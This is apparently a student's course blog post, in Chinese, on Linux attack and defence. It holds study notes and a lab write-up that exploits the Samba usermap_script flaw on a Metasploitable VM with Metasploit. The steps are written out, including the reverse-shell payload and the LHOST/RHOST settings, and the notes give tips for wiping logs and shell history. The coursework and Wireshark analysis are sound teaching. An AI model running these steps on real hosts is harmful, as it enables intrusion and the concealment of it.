• 20199319 2019-2020-2 《网络攻防实践》第八周作业


    这个作业属于哪个课程 https://edu.cnblogs.com/campus/besti/19attackdefense
    这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10635
    我在这个课程的目标是 学习并掌握网络攻防知识,能完成相关实践
    这个作业在哪个具体方面帮助我实现目标 学习Linux下网络攻防知识,并利用漏洞进行简单的攻击

    Linux操作系统安全攻防

    1.知识点梳理与总结

    Linux操作系统基本框架概述

    1、Linux操作系统的发行版本

    Ubuntu、Debian、Fedora、CentOS、RHEL、OpenSUSE和Slackware等。

    2、Linux系统的优势

    开源、免费;跨平台的硬件支持;丰富的软件支持;多用户多任务;可靠的安全性;良好的稳定性;完善的网络功能。

    3、Linux操作系统结构

    包括Linux内核,一些GNU运行库和工具,命令行Shell,图形界面X窗口系统及相应桌面环境,包含数千种从办公包、编译器、文本编辑器、科学工具到网络服务的应用软件。

    4、Linux 操作系统内核结构:

    (1)Linux 操作系统内核是一种典型的宏内核结构。总体结构示意图如下:

    • 在硬件抽象层中的各类设备驱动程序可以完全访问硬件设备,方便地以模块化形式设置,并在系统运行期间可直接通过LKM(Loadable Kernel Module)机制装载或卸载。
    • 在硬件抽象层上是内核服务功能模块,包括进程管理,内存管理,文件系统,设备控制与网络这五个子系统。这些内核模块通过系统调用接口向用户态的GNU运行库/工具、命令行Shell、X窗口以及应用软件提供服务。

    (2)进程与线程管理机制:抢占式多用户多进程,由内核进程管理模块负责调度硬件资源。

    (3)内存管理机制:支持虚拟内存;分为内核空间和用户空间;每个进程使用两套段描述符来分别访问内核态和用户态的内存空间,在用户态中,代码不可能访问3GB以上的地址空间,如果要访问内核空间,必须通过系统调用或者中断;内存管理模块为进程提供内存分配、内存回收、请求分页和交换页等系统调用服务。

    (4)文件系统管理机制:Linux内核使用虚拟文件管理VFS机制; VFS虚拟文件管理为用户进程提供了通用的文件系统调用,可对不同文件系统进行统一操作。

    (5)设备控制机制:Linux内核中处理和管理硬件控制器的软件即设备驱动程序;Linux的一个基本特点是抽象了设备的处理,所有的硬件设备都像常规文件一样看待。Linux 支持三类硬件设备:字符设备(直接读写,无缓存区)、块设备(按块的倍数进行读写)和网络设备。

    (6)网络机制:提供了对各种网络标准的存取和网络硬件的支持。网络接口分为网络协议栈(实现网络传输协议)和网络驱动程序(负责与硬件设备通信)

    (7)系统调用机制:以上内核模块运行在内核态,应用程序运行在用户态,只能通过系统调用接口,来允许应用程序透过这层接口访问硬件设备和其他资源;系统调用通过软中断实现:用户程序为系统调用设置参数(系统调用编号等)→执行系统调用产生中断→处理器切换到内核态→跳转到异常处理程序执行系统调用函数→完成相应功能→返回用户态。

    Linux操作系统安全机制

    Linux系统的核心安全机制主要是身份认证、授权与访问控制、安全审计这三个部分。

    1、Linux操作系统的发行版本:通过创建多种角色类型的用户以及用户组来实施用户身份管理

    • 用户信息保存在/etc/passwd中,加密口令字存放在/etc/shadow中。
    • 用户组:具有相同特征的用户集合,简化用户权限管理;信息保存在/etc/group文件中;使用【id –a】查看当前用户所属组;使用【groupadd】添加用户组;使用【usermod –G group_name user_name】向特定组来添加用户。
    • 本地登录用户认证机制:用户在控制台登录的认证过程--init进程启动getty产生虚拟控制台;用户在控制台敲入用户;getty执行login进程进入登录认证,通过Crypt()函数验证用户口令(引入salt值,和口令一起加密);认证成功后,登录进程会fork相应用户shell的子进程,完成登录。
    • 远程登录用户认证机制:使用SSH服务,两种方式:基于口令的身份认证(使用系统内建账号和口令);基于非对称密钥的口令认证(用户创建非对称密钥,证书方式进行身份认证)。基于非对称密钥的身份认证机制能够有效地抵御会话劫持中间人攻击,更具安全性。
    • Linux的统一身份认证中间件——PAM:支持认证管理、账户管理、密码管理、会话管理;系统管理员通过PAM配置文件(/etc/pam.conf或/etc/pam.d/)来制定身份认证策略;应用服务开发者通过在服务程序中使用PAM API来实现对认证方法的调用;PAM服务模块开发者利用PAM SPI(Service Module API)来编写认证模块,将不同的认证机制(传统的UNIX认证方法、Kerberos、智能卡认证等)加入到PAM中间件中;PAM核心库(libpam) 读取配置文件,将服务程序和相应的认证方法联系起来。

    2、Linux授权与访问控制机制
    在Linux的虚拟文件系统安全模型中,主要通过文件所有者、文件访问权限和一些特殊权限位来进行系统的授权与访问控制。

    • 文件所有者:可通过【chown】命令修改。
    • 文件访问权限:通过10个标志位进行设置;【ls –l】枚举当前目录文件;第1个标志位区分文件类型(“-”表示普通文件、“d"表示目录、“1”表示符号链接、“b”表示块设备文件、“c"表示字符设备等);第2~10这9个标志位字每3个一组分为3组,分别表示文件所有者、用户组以及其他用户对该文件的读(R)、写(W)、执行(X)权限(【chmod】修改权限)。
    • 文件的特殊执行权限:SUID:允许可执行文件在运行时刻从运行者身份提升至所有者权限。SGID:以所有者的组的权限运行程序。

    3、Linux安全审计机制
    linux的安全审计机制通过以下三个日志子系统来实现:

    • 连接时间日志:系统管理员能够跟踪谁在何时登录到系统;
    • 进程统计日志:由内核执行,为系统中的基本服务提供命令使用统计;
    • 错误日志记录:报告一些值得注意的事件;
    • 常见日志文件:

    Linux系统远程攻防技术

    1、Linux远程口令字猜测攻击

    • 针对的网络服务:SSH、HTTP/HTTPS、FTP、SNMP、POP/SMTP等
    • 工具:Brutus、THC Hydra、Cain and Abel.
    • 防御:使用强口令字;使用严格的口令字管理制度;在非标准端口上运行容易被攻击的服务;使用一些口令猜测攻击检测和防御软件;使用Linux防火墙。

    2、网络服务远程渗透攻击

    • 针对的网络服务:Linux内核中的网络协议栈;LAMP WEB网站中的网络服务攻击;FTP、Samba等文件共享服务;电子邮件收发服务;其他网络服务(OpenSSH—22; OpenSSL--443)。
    • 防范:禁用不必要的网络服务;选择更安全的网络协议与服务软件,并使用最佳安全实践部署;及时更新网络服务版本;使用xinetd、防火墙为Linux网络服务添加访问控制机制;建立入侵检测与应急响应计划流程。

    3、攻击Linux客户端程序和用户

    • 攻击Linux客户端程序
      互联网用户最常用的客户端程序是Web浏览器和电子邮件客户端,最流行的Web浏览器:Firefox“火狐”浏览器,最流行的电子邮件客户端软件:Thunderbird“雷鸟”。
    • 攻击Linux系统用户
    • 防范:及时更新客户端软件(apt-get);了解社会工程学技术,提高自身安全意识。

    4、攻击Linux路由器和监听器

    • 配置【ip_forward=1 】使Linux系统以路由器模式运行,可能拒绝服务攻击。
    • Linux上用于监听和入侵检测的软件:Libpcap抓包库、tcpdump命令行程序、Wireshark、Snort入侵检测系统
      libpcap抓包库可能遭受发行站点特洛伊木马化攻击;tcpdump存在拒绝服务、缓冲区溢出、本地特权提升漏洞;wireshark漏洞众多;snort:溢出攻击,或导致一些攻击绕过snort检测。
    • 防范:网络管理员应意识到网络和设备的安全性,及时维护和修补;管理员在构建网络安全防御、检测体系时需站在攻击者角度。

    Linux系统本地安全攻防技术

    1、Linux本地特权提升

    • 破解出Root用户口令,使用su/sudo进行提升(前提是能获取/etc/shadow文件);
    • 发掘并利用su/sudo程序中的漏洞;
    • 攻击具有Root特权程序中的任意代码执行漏洞;
      • 攻击用户态SUID特权提升漏洞(真实UID:运行该进程的用户ID;有效ID:进程当前实际继承权限用户ID)(当一个具有执行权限的文件设置SUID后,用户执行这个文件时将以文件所有者身份执行);
      • 攻击Linux内核代码特权提升漏洞;
      • 从系统中搜索全局可写的敏感文件与目录位置并加以利用;

    2、本地特权提升的防范措施

    • 安装软件时评估风险(是否会创建SUID特权程序);
    • 优先关注SUID特权程序,及时更新;
    • 及时进行特权代码和内核的升级维护;
    • 系统管理员安全配置系统,设置强口令字;
    • 应用SELinux等安全增强模块。

    3、Linux系统上的消踪灭迹

    • 改变当前活动日志:在/var/log下对message、auth、secure和xferlog等日志文件进行修改
    • 清理Shell程序中所属命令历史记录(.bash_history文件)
    • 防范:将日志信息写道难以修改的媒体介质上;把关键日志发送到另一台严密防护的安全日志服务器。

    4、Linux系统远程控制后门程序

    • Linux系统上植入远程控制后门程序的类型:特洛伊木马化的系统程序、命令行
      后门工具、图形化后门工具。
    • 图形化远程控制软件VNC
    • 使用Rootkit技术隐藏后门程序

    2.实践过程

    实验一:使用Metaploit进行Linux远程渗透攻击

    使用Metaspolit作为渗透测试软件,攻击Linux靶机上的Samba服务usermap_script安全漏洞,获取Linux靶机的主机访问权限。实践步骤如下:
    (1)启动Metasploit软件,可根据个人喜好使用msfconsole. msfgui. msfweb之一;
    (2)使用exploit: exploit/multi/samba/usermap_script 渗透攻击模块;
    (3)选择攻击PAYLOAD为远程Shell, (正向或反向连接均可);
    (4)设置渗透攻击参数(RHOST, LHOST,TARGET 等);
    (5)执行渗透攻击:
    (6)查看是否正确得到远程Shell,并查看获得的权限。

    • 以Kali(192.168.200.8)作为攻击机进行攻击,Metasploitable2-Linux(192.168.200.6)作为靶机,确定可以ping通。在kali中输入msfconsole进入Metasploit。
    • 然后执行命令【use exploit/multi/samba/usermap_script】选择渗透攻击模块。通过【show payloads】会显示出有效的攻击载荷。然后通过命令【set payload cmd/unix/reverse】设置打开反向连接的载荷。payload是用来实际做什么事的代码,exploit是传送系统。接下来使用【set LHOST 192.168.200.8】设置攻击机IP地址,使用【set RHOST 192.168.200.6】设置靶机IP地址。
      usermap_script是Samba协议的一个漏洞CVE-2007-2447,用户名映射脚本命令执行;通过指定一个包含shell元字符的用户名,攻击者能够执行任意命令

    • 执行命令【exploit】发起攻击
    • 输入【ifconfig】查看IP,与靶机IP一致,本次渗透攻击成功。执行whoami查看获得权限为root。

    攻防对抗实验

    攻击方:使用Metasploit选择Metasploitable靶机中发现的漏洞进行渗透攻击,获得远程控制权,并尝试进一步获得Root权限。
    防守方:使用wireshark监听获得网络攻击的数据包文件,并结合wireshark分析攻击过程,获得攻击者的IP地址,目标IP和端口、攻击发起时间、攻击利用漏洞、使用shellcode,以及成功之后在本地执行命令输入等信息。

    • 以Kali(192.168.200.8)作为攻击机进行攻击,Metasploitable2-Linux(192.168.200.6)作为靶机,确定可以ping通。首先用nessus扫描靶机漏洞,由于kali中nessus在上次使用时离线下载就无法成功,所以又选用了winXP的nessus对靶机进行漏洞扫描,根据结果选择了危险指数较高的一个漏洞CVE-2007-2446进行攻击,结果运行时建立连接不成功,上次实验时也遇到类似问题,更换负载后成功,但这次尝试了几个不同的负载,结果还是连接不上。

    • 最后选择了实践一中的漏洞,攻击过程同上,在执行【exploit】发起攻击前打开wireshark进行捕包。攻击结果如下:首先进行TCP三次握手,查看SMB数据包信息(Negotiate Protocol Request是协商协议请求数据报),可以获得攻击者的IP地址为【192.168.200.8】,目标IP为【192.168.200.6】和目标端口为139、攻击发起时间【Arp 21,2020 03:09:41】

    • 由于攻击机攻击的目标主机端口为139号端口,查询可知139端口是为“NetBIOS Session Service”提供的,主要用于提供Windows文件和打印机共享以及Unix中的Samba服务,可知攻击利用了Samba服务漏洞。
    • 对SMB数据包追踪数据流,可以看到使用的shellcode,其中nohup是no hang up的缩写,即不挂断地运行命令;sh是linux中运行shell的命令,是shell的解释器
    • 取得控制权之后,追踪TCP数据流,可以看到攻击机在本地执行的命令。

    3.学习中遇到的问题及解决

    问题1:实践二中kali依旧离线下载nessus失败,尝试用winXP的nessus时打不开,但网络连接正常。
    解决:准备换一下kali源再试试,winXP中nessus打不开的问题,可以找到nessus安装文件所在位置,以管理员身份运行一下nessusd.exe,然后再刷新一下网页,成功打开!

    问题2:实践二中尝试的利用CVE-2007-2446攻击失败
    应该是选择的负载问题。

    4.实践总结

    通过本次实践对Linux系统的攻防有了基本的了解,能够进行一些简单的漏洞攻击,不过很多分析还比较浅显。总的感觉还是实践操作起来还行,但原理的理解不透彻,很多内容看过就忘,还是要多回顾。

    参考资料

    解决winXP中Nessus打不开
    139端口
    Username map script漏洞
    Samba远程Shell命令注入执行漏洞

  • 相关阅读:
    @ResponseBody
    elselect vmodel初始化couponSelected.id 与 key="coupon.id" id数据类型要保持一致
    CentOS7安装k8s
    vuecli 搭建项目
    springboot+netty
    漏洞扫描器AWVS
    同一类控件批量初始化
    HQL manytoone 属性notfound, 引用外键记录不存在
    Netty 20211116 socket clientserver TCP/UDP
    安卓开发项目计划
  • 原文地址:https://www.cnblogs.com/fanxiaonan/p/12745676.html
Copyright © 2020-2023  润新知